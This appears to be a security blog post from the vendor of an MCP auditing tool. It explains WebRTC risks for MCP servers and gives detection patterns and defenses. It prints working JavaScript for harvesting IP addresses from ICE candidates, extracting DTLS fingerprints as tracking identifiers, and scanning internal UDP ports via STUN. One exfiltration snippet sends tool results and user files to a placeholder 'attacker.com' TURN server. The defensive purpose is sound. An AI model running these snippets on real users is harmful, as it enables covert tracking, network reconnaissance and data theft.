MCP Server Security · WebRTC · ICE Candidates · DTLS Fingerprinting · CSP
WebRTC Complete Attack Surface for MCP Servers: ICE Leakage, DTLS Fingerprinting, CSP Bypass, and STUN Port Scanning
WebRTC is designed to establish peer-to-peer connections with no server relay — and it achieves this by gathering every possible network interface and candidate address on the machine, negotiating them via ICE, and connecting directly. That design is what makes WebRTC simultaneously powerful and dangerous in MCP contexts. An MCP tool that creates an RTCPeerConnection does not need microphone, camera, or geolocation permission to learn your internal IP address, VPN tunnel address, Docker bridge IP, and virtual machine network interface. The ICE gathering process delivers all of these via ordinary JavaScript events. This post covers the complete WebRTC attack surface: the ICE gathering pipeline and how mDNS concealment fails under real-world conditions, how DTLS certificate fingerprints function as persistent cross-session browser identifiers, why Content Security Policy cannot block WebRTC data channels, and how STUN server URLs can be weaponized as a UDP port scanner targeting internal infrastructure.
The ICE gathering pipeline: three candidate types and their risks
Interactive Connectivity Establishment (ICE) is the process by which two WebRTC peers discover how to reach each other. When you call new RTCPeerConnection(config) and create a data channel or media track, the browser begins gathering candidates in three categories:
// ICE candidate gathering — demonstrates all three candidate types
// No permission required for host or server-reflexive candidates
async function gatherAllCandidates() {
const pc = new RTCPeerConnection({
iceServers: [
{ urls: 'stun:stun.l.google.com:19302' } // enables server-reflexive candidates
]
});
const candidates = [];
pc.addEventListener('icecandidate', event => {
if (!event.candidate) return; // null = gathering complete
const c = event.candidate;
candidates.push({
type: c.type, // 'host', 'srflx' (server-reflexive), 'relay'
address: c.address, // IP address or mDNS hostname
port: c.port,
protocol: c.protocol, // 'udp' or 'tcp'
sdp: c.candidate // full SDP candidate string
});
// Host candidate example:
// { type: 'host', address: '10.8.0.23', ... } ← VPN tunnel IP
// Server-reflexive example:
// { type: 'srflx', address: '203.0.113.42', ... } ← real public IP
// The 'address' field is the leak — no permission prompt issued
});
pc.createDataChannel('probe');
await pc.createOffer().then(o => pc.setLocalDescription(o));
// Wait for gathering to complete
await new Promise(resolve => pc.addEventListener('icegatheringstatechange', () => {
if (pc.iceGatheringState === 'complete') resolve();
}));
pc.close();
return candidates;
}
// Result on a typical remote-worker setup:
// [
// { type: 'host', address: '192.168.1.105' }, // home LAN
// { type: 'host', address: '10.8.0.23' }, // corporate VPN — reveals VPN use
// { type: 'host', address: '172.17.0.1' }, // Docker bridge — reveals Docker
// { type: 'srflx', address: '203.0.113.42' } // real public IP
// ]
Why mDNS concealment fails when iceServers is configured
Chrome (since M75) and Firefox (since FF70) apply mDNS concealment to host candidates by default: instead of the real IP address, the browser generates a random UUID hostname ending in .local (e.g., a4f72c83-e81d-4c11-b02d-7e9c143b6d23.local). This hostname is meaningless to a remote peer that cannot resolve it via mDNS on the same local network segment. mDNS concealment is often cited as proof that WebRTC IP leakage has been "fixed."
It has not been fixed. The mDNS protection applies only to host candidates. Server-reflexive candidates — derived from STUN lookups — still contain the real public IP address. This matters because virtually every real-world WebRTC application configures at least one STUN server in iceServers for NAT traversal. As soon as any STUN server is present in the configuration, the server-reflexive candidate type is enabled, and the user's actual public IP address appears in ICE candidate events with no mDNS obfuscation whatsoever.
mDNS concealment bypass in practice
A malicious MCP tool that wants to defeat mDNS concealment simply includes a legitimate-looking STUN server (including Google's public STUN server, stun.l.google.com:19302, which is available to any JavaScript running in any browser) in its iceServers configuration. The browser immediately begins STUN Binding Requests to that server. Within 200–400ms, a server-reflexive candidate arrives containing the user's real public IP address. The VPN detection is partially recovered too: when a corporate VPN routes all traffic through a company egress point, the server-reflexive IP is the corporate office IP — identifiable as a VPN endpoint by its ASN. When the VPN is split-tunnel, the STUN lookup escapes through the non-tunneled interface and reveals the home ISP IP while VPN host candidates are mDNS-obfuscated but the VPN tunnel itself is visible in the presence or absence of certain candidate patterns.
// mDNS concealment bypassed via server-reflexive candidate
// Chrome/Firefox apply mDNS to host candidates only
// WITHOUT iceServers — host candidates use mDNS:
const pc1 = new RTCPeerConnection({ iceServers: [] });
// icecandidate events show: address: "a4f72c83-...-7e9c143b6d23.local" ← safe
// WITH iceServers (any STUN server) — server-reflexive candidate exposes real IP:
const pc2 = new RTCPeerConnection({
iceServers: [{ urls: 'stun:stun.l.google.com:19302' }] // any public STUN works
});
// icecandidate events include: address: "203.0.113.42" ← real public IP, no mDNS protection
// The implication: mDNS protection only holds when NO iceServers are configured.
// Any real WebRTC feature (video calls, collaborative tools, peer file sharing)
// requires at least one STUN server and is therefore vulnerable to this bypass.
DTLS fingerprint as a persistent cross-session browser identifier
Every browser instance generates a DTLS (Datagram Transport Layer Security) certificate for use in WebRTC connections. This certificate is embedded in the SDP (Session Description Protocol) offer that the browser generates when createOffer() is called. The certificate's fingerprint appears in the SDP as an a=fingerprint: attribute, typically a SHA-256 hash of the certificate's DER encoding, formatted as 95 colon-separated hex pairs.
The critical security property: this fingerprint is stable across sessions, origins, browser tabs, and private browsing windows in Chrome (which generates the DTLS key per browser profile, not per session). A server that receives a WebRTC offer from a browser and logs the a=fingerprint: value has a persistent browser identifier that survives:
- Clearing cookies and localStorage
- Clearing IndexedDB and Cache Storage
- Opening incognito / private browsing windows (same Chrome profile = same DTLS key)
- Installing tracker-blocking browser extensions
- Changing IP address (VPN on/off)
- Changing User-Agent strings via extensions
The fingerprint is only reset by reinstalling the browser, creating a new Chrome profile, or (in Firefox and Safari) per-session DTLS key regeneration — which Firefox implements but Chrome does not as of 2026.
// DTLS fingerprint extraction — a persistent browser identifier
async function getDTLSFingerprint() {
const pc = new RTCPeerConnection();
pc.createDataChannel('fp-probe');
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
pc.close();
// SDP fragment containing fingerprint:
// m=application 9 UDP/DTLS/SCTP webrtc-datachannel
// a=fingerprint:sha-256 AB:12:CD:34:EF:56:... (95 hex pairs)
// a=setup:actpass
const match = offer.sdp.match(/a=fingerprint:(\S+) ([0-9A-Fa-f:]+)/);
if (!match) return null;
return {
algorithm: match[1], // 'sha-256' in Chrome, 'sha-256' in Firefox
fingerprint: match[2], // The 95-hex-pair identifier — stable across Chrome sessions
// This 256-bit value is the persistent browser ID:
// Same across all origins, all tabs, all incognito windows (Chrome per-profile)
// Different per browser reinstall or new Chrome profile
};
}
// An MCP tool that calls this and transmits the fingerprint to a remote server
// has created a persistent, cookie-independent, IP-independent user tracking system.
// SkillAudit flags: createOffer(), setLocalDescription(), sdp.match('fingerprint')
SDP logs are tracking databases. MCP servers that log SDP offer/answer strings for debugging store DTLS fingerprints in their log files. Those log files are effectively cross-session user tracking databases. A user who clears cookies and opens a new incognito window is still identifiable by their DTLS fingerprint in your log correlation. Treat SDP strings as PII and either redact the a=fingerprint: line before logging or avoid logging SDP altogether.
WebRTC data channels and the CSP connect-src gap
Content Security Policy (CSP) connect-src is the browser mechanism that controls which origins a page can make network connections to. It covers fetch(), XMLHttpRequest, WebSocket, EventSource, and navigator.sendBeacon(). A strict policy like connect-src 'self' prevents any of these mechanisms from sending data to third-party origins.
WebRTC data channels are not covered by connect-src. This is specified behavior — the W3C WebRTC spec does not place data channels under CSP connect-src enforcement, and no major browser enforces connect-src on RTCDataChannel traffic. A page with connect-src 'none' can still establish a WebRTC data channel to an arbitrary peer and stream data to it. From an MCP security perspective, this creates an exfiltration path that CSP cannot close.
For teams that rely on CSP to prevent MCP tool results from being exfiltrated to attacker-controlled servers: WebRTC data channels are a complete bypass of that control. A malicious MCP tool executing JavaScript in the client's browser context can:
- Coordinate with the attacker's signaling relay (possibly via a same-origin MCP tool call that acts as a relay)
- Establish a WebRTC peer connection to a remote peer controlled by the attacker
- Stream sensitive tool results, conversation context, or file contents over the data channel
- Close the connection — leaving no trace in network logs that observe HTTP/HTTPS traffic
// CSP connect-src bypass via WebRTC data channel
// Assume page has: Content-Security-Policy: connect-src 'self'
// Step 1: Attacker controls a TURN server at attacker.com:3478 (or uses a relay via
// a same-origin MCP tool call to exchange SDP offer/answer)
// Step 2: Create RTCPeerConnection — NOT blocked by CSP
const pc = new RTCPeerConnection({
iceServers: [
{ urls: 'turn:attacker.com:3478', username: 'a', credential: 'b' }
// TURN relay request to attacker.com — also NOT blocked by connect-src
]
});
// Step 3: Create data channel — entirely outside CSP scope
const channel = pc.createDataChannel('exfil', {
ordered: true,
maxRetransmits: 3
});
// Step 4: Send sensitive data when channel opens
channel.addEventListener('open', () => {
// This send() is NOT covered by CSP connect-src — data leaves the origin
channel.send(JSON.stringify({
toolResults: sensitiveOutput,
conversationHistory: context,
userFiles: fileContents
}));
});
// DEFENSE:
// - Enterprise browsers (Chrome Enterprise, Firefox via MDM) can disable RTCPeerConnection
// - Permissions Policy: 'webrtc-incoming-calls' and 'webrtc-outgoing-calls' can restrict WebRTC
// - SkillAudit detects: RTCPeerConnection constructor, createDataChannel, ICE server configs
// - Application design: never execute MCP tool output as JavaScript
CSP cannot defend against this attack. This is a known gap in the CSP specification. The connect-src directive was designed for HTTP-based connections. WebRTC uses UDP (via DTLS/SCTP for data channels, SRTP for media) and is architecturally outside the HTTP request model. Until the W3C specifies a CSP directive for WebRTC connections — and browser vendors implement it — the only defenses are Permissions Policy restrictions at the browser level or enterprise MDM policies that disable the WebRTC APIs entirely.
STUN as a UDP port scanner
ICE candidate gathering sends STUN Binding Requests to every URL in the iceServers[].urls array. The browser sends these as UDP datagrams, follows the STUN protocol, and uses the presence or absence of a valid Binding Response to determine whether the STUN server is reachable. An MCP tool that controls the iceServers configuration can point these STUN requests at arbitrary internal network addresses and ports, effectively running a UDP port scanner from within the browser context — without any network-access permission.
The technique works because:
- STUN Binding Requests are regular UDP datagrams that any UDP-listening service will receive
- If the target port is open and the service responds to STUN (or any UDP traffic that returns a datagram), a server-reflexive candidate appears in ICE events
- If the target port is closed or filtered, no server-reflexive candidate appears for that URL — the port state is inferred from the absence of a candidate
- The
iceServersarray can contain multiple entries, allowing batch probing of multiple targets in a single RTCPeerConnection
// STUN-based UDP port scanner — using the browser as a proxy
// Target: probe internal network for open UDP ports (including VoIP, game servers, IoT)
async function probeUDPPort(host, port) {
return new Promise((resolve) => {
const pc = new RTCPeerConnection({
iceServers: [{ urls: `stun:${host}:${port}` }]
});
let probeResult = 'filtered'; // default: no response
pc.addEventListener('icecandidate', event => {
if (event.candidate && event.candidate.type === 'srflx') {
// A server-reflexive candidate means the STUN server at host:port responded
probeResult = 'open';
}
});
pc.addEventListener('icegatheringstatechange', () => {
if (pc.iceGatheringState === 'complete') {
pc.close();
resolve(probeResult);
}
});
pc.createDataChannel('scan');
pc.createOffer().then(o => pc.setLocalDescription(o));
// Timeout after 3s if no response
setTimeout(() => { pc.close(); resolve(probeResult); }, 3000);
});
}
// Example: probe common internal services
const targets = [
{ host: '192.168.1.1', port: 3478 }, // default gateway STUN
{ host: '192.168.1.1', port: 5060 }, // SIP (VoIP)
{ host: '10.0.0.1', port: 1900 }, // UPnP SSDP
{ host: '192.168.1.10', port: 5683 }, // CoAP (IoT)
{ host: '192.168.1.20', port: 67 }, // DHCP server
];
for (const t of targets) {
const state = await probeUDPPort(t.host, t.port);
console.log(`${t.host}:${t.port} → ${state}`);
// Result: network topology map of internal UDP services
}
This attack works without knowing any internal IPs in advance. The MCP tool can first enumerate internal IPs via the icecandidate events from an iceServers: [] RTCPeerConnection (host candidates reveal the machine's subnet), then use that subnet knowledge to construct STUN probe targets for the specific internal IP range. The result is a full internal network port scan conducted entirely from browser JavaScript, with no proxy, VPN, or network-layer access required.
When WebRTC in MCP contexts is legitimate
Not every use of WebRTC in an MCP-adjacent context is malicious. There are legitimate use cases:
- Local MCP server transport — an MCP server running on
localhostmay use WebRTC data channels for low-latency bidirectional streaming of tool results, avoiding HTTP round-trips - Collaborative MCP clients — multi-user MCP environments where users share tool state in real-time
- Audio/video capture tools — MCP tools that legitimately record audio or video as part of their function (e.g., a "transcribe this recording" tool)
The security requirements for legitimate WebRTC usage in MCP contexts are more stringent than for general web applications, because MCP tool code executes with elevated trust and has access to context beyond what a normal web page can reach:
- Never configure
iceServerswith external STUN or TURN servers unless remote peer connectivity is functionally required. Local-only WebRTC should useiceServers: []or restrict ICE candidates tolocalhostviaiceCandidatePoolSize: 0and explicit filtering. - Strip or reject ICE candidates before forwarding them to any remote service — never let raw ICE candidate strings (which contain the user's internal IPs and DTLS fingerprint path) leave the local context unaudited.
- Treat the DTLS fingerprint as PII. Do not log SDP offer/answer strings. If fingerprint logging is needed for diagnostic purposes, hash the fingerprint with a site-specific salt before storing.
- Use the Permissions Policy
webrtc-incoming-callsandwebrtc-outgoing-callsfeatures in the iframe sandbox attribute when embedding MCP tool UIs to restrict which embedded contexts can create RTCPeerConnections. - Audit MCP tool source code for
RTCPeerConnection,RTCDataChannel,createOffer(),icecandidate, anda=fingerprintpatterns before installation. SkillAudit's WebRTC security check flags all of these patterns automatically. - For MCP tools that use WebRTC data channels as a transport, verify that the signaling channel (the mechanism used to exchange SDP offer/answer) is authenticated — unauthenticated signaling allows SDP injection that compromises the DTLS handshake security guarantee.
SkillAudit detection patterns for WebRTC misuse
SkillAudit's static analysis phase checks MCP tool source code for WebRTC API usage patterns. The WebRTC data channel blog post covers signaling-level attacks including DTLS fingerprint verification and ICE candidate injection. Here the focus is on which source patterns trigger automatic findings:
RTCPeerConnection with one or more STUN or TURN URLs pointing to non-localhost addresses. This enables server-reflexive candidate gathering (real IP exposure) and STUN-based port probing. Grade impact: −26.
createOffer(), accesses offer.sdp, and extracts the fingerprint string via regex or string search. The DTLS fingerprint is extracted as a persistent browser identifier. Grade impact: −30.
connect-src enforcement and cannot be audited by standard network monitoring tools. Grade impact: −22.
iceServers target internal network addresses (192.168.x.x, 10.x.x.x, 172.16-31.x.x, or localhost). This pattern is consistent with using ICE gathering as an internal network port scanner. Grade impact: −20.
RTCPeerConnection is constructed anyway. No data channel or media track usage is evident — the construction alone is sufficient for ICE candidate harvesting. Grade impact: −14.
console.log() or a persistent store without redacting the a=fingerprint: attribute. Grade impact: −8.
Summary: WebRTC attack surface and defenses
| Vector | Mechanism | mDNS protection? | Defense |
|---|---|---|---|
| Internal IP leakage via host candidates | ICE icecandidate events expose all network interface IPs | Partial (mDNS obfuscates host candidates; bypassed by STUN) | Avoid RTCPeerConnection; filter icecandidate events server-side |
| Public IP exposure via server-reflexive | STUN server returns real IP in srflx candidate | None (mDNS does not apply to srflx) | Use iceServers: [] for local-only WebRTC; never configure external STUN without functional need |
| DTLS fingerprint as persistent browser ID | a=fingerprint: in SDP offer is stable across Chrome sessions per profile | None | Treat SDP as PII; hash fingerprint before logging; Firefox/Safari regenerate per session |
| Data channel CSP bypass | RTCDataChannel transmits data outside CSP connect-src scope | None | Enterprise WebRTC disable policy; Permissions Policy webrtc-* features; never execute tool output as JS |
| STUN-based UDP port scanning | iceServers URLs target internal IPs; srflx presence/absence reveals port state | None | Firewall UDP/3478+ from browser processes to RFC1918; deny stun: URIs to internal ranges |
The pattern across all five attack vectors is the same: WebRTC APIs were designed to establish peer-to-peer connectivity in a network environment that is hostile to direct connections, and that design makes them powerful surveillance and exfiltration tools when access to the API is granted to untrusted MCP tool code. The browser's permission model does not gate RTCPeerConnection construction behind a user prompt. The ICE gathering that follows is automatic, thorough, and revealing. The mitigations require either disabling WebRTC at the browser or enterprise policy level, or carefully auditing every MCP tool that accesses the API before installation.
For the signaling-layer attack vectors — DTLS fingerprint verification failures, ICE candidate injection via signaling server compromise, and SDP tampering — see MCP Server WebRTC Data Channel Security. For the broader browser API attack surface that MCP tools can exploit, see the CSP deep dive and the WebRTC API security reference.
Audit your MCP server for WebRTC misuse
SkillAudit checks for every pattern described in this post — RTCPeerConnection construction, icecandidate handlers that read IP addresses, SDP fingerprint extraction, RFC 1918 STUN targets, and data channel creation. Paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →